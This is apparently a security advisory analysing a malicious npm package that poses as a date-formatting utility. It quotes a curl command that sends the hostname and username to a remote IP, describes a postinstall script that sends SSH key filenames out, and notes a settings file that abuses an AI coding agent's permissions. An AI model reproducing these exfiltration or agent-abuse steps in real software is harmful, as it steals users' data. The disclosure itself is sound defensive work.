houzidawang808@1.0.0

Analysis

Package houzidawang808@1.0.0 masquerades as a simple date formatting utility but ships a system-reconnaissance and data-exfiltration payload. The build script (`curl hxxp://124[.]221[.]154[.]135//pre?h=$(hostname)&u=$(whoami)`) transmits the victim's hostname and username to a remote IP. A bundled script (postinstall.js) collects SSH public key filenames from ~/.ssh/, the system username, and platform type, then exfiltrates them as JSON to the same IP (124[.]221[.]154[.]135:443) via HTTPS POST. A configuration file (`.claude/settings.local.json`) grants broad npm-config permissions to abuse the Claude Code agentic tool. The publisher has previously distributed malicious packages under the same identity.